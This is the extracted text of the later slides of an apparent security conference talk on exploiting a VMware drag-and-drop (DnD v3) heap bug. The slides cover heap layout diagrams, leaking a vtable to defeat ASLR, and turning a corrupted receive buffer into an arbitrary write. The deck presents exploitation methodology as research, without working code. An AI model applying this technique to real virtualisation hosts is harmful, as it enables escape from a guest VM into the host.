○ Overwrite heap memory after DnD Buffer ○ Check if overflow the heap we use by “info-get guestinfo.XXX”

Free DnD Buffer BBBBB... AAAAA... Free AAAAA... Free Free DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free Free Free

slide-89
SLIDE 89

Exploit

  • To defeat ASLR

○ Once we overwrite the heap we use, we can confirm which heap will leak

Free DnD Buffer BBBBB... Free AAAAA... Free Free DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free The leak heap BBBAA... Free Free

slide-90
SLIDE 90

Exploit

  • To defeat ASLR

○ Now,overwrite the heap until we can leak the vtable of DnDv3

Free DnD Buffer BBBBB... Free AAAAA... Free Free DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free The leak heap BBBAA... Free Free

slide-91
SLIDE 91

Exploit

  • To defeat ASLR

○ Now,overwrite the heap until we can leak the vtable of DnDv3

Free DnD Buffer BBBBB... BBBBB... BBBBB... BBBBB... BBBBB... DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free The leak heap BBBBB... Free Free

slide-92
SLIDE 92

Exploit

  • To defeat ASLR

○ Now,overwrite the heap until we can leak the vtable of DnDv3

Free DnD Buffer BBBBB... BBBBB... BBBBB... BBBBB... BBBBB... DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free The leak heap BBBBB... struct DnD_V3{ void * vtable; . . . Free Free

slide-93
SLIDE 93

Exploit

  • Arbitrary Address Write

○ We can overwrite the mRecvbuffer in DnD v3 to do Arbitrary Address Write.

Free DnD Buffer BBBBB... BBBBB... BBBBB... BBBBB... BBBBB... DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free The leak heap BBBBB... struct DnDTransportBuffer{ . . . buffer = xxxxxxx totalSize=0xffxx . . . Free Free

slide-94
SLIDE 94

Exploit

  • Arbitrary Address Write

○ We can overwrite the mRecvbuffer in DnD v3 to do Arbitrary Address Write.

Free DnD Buffer BBBBB... BBBBB... BBBBB... BBBBB... BBBBB... Fake DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free The leak heap BBBBB... struct DnDTransportBuffer{ . . . buffer = 0x41414141 totalSize=0x1000 . . . Free Free

slide-95
SLIDE 95

Problem

  • We will fail in some situations

○ If DnD Buffer locate behind structures.

Free Free Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free DnD Buffer Free Free Free Free Free

slide-96
SLIDE 96

Problem

  • We will fail in some situations

○ if chunk before DnD v3 has been allocated

Free Free Free Free Free Free Free Allocated DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free

slide-97
SLIDE 97

Problem

  • We will fail in some situations

○ if there is no leak chunk between DnD v3 buffer and DnD v3 structrue

Free Free AAAAA... Free Free Free Free DnD Buffer DnD v3 Free AAAAA... Free Free AAAAA... Free Free Free Free Free Free Free Free Free Free

slide-98
SLIDE 98

Demo

slide-99
SLIDE 99

Conclusion

  • Low-quality vulnerabilities can also be exploited by utilizing sophisticated heap

manipulation techniques

  • It will be harder and harder to crack VMware’s virtual machine

○ Shallow and high-quality bugs are killing by VMware and research community ○ VMware is removing exploitation-friendly objects continuously ○ Exploiting low-quality bugs requires us to dive into the internal mechanisms

slide-100
SLIDE 100

Thanks!

@f1yYY__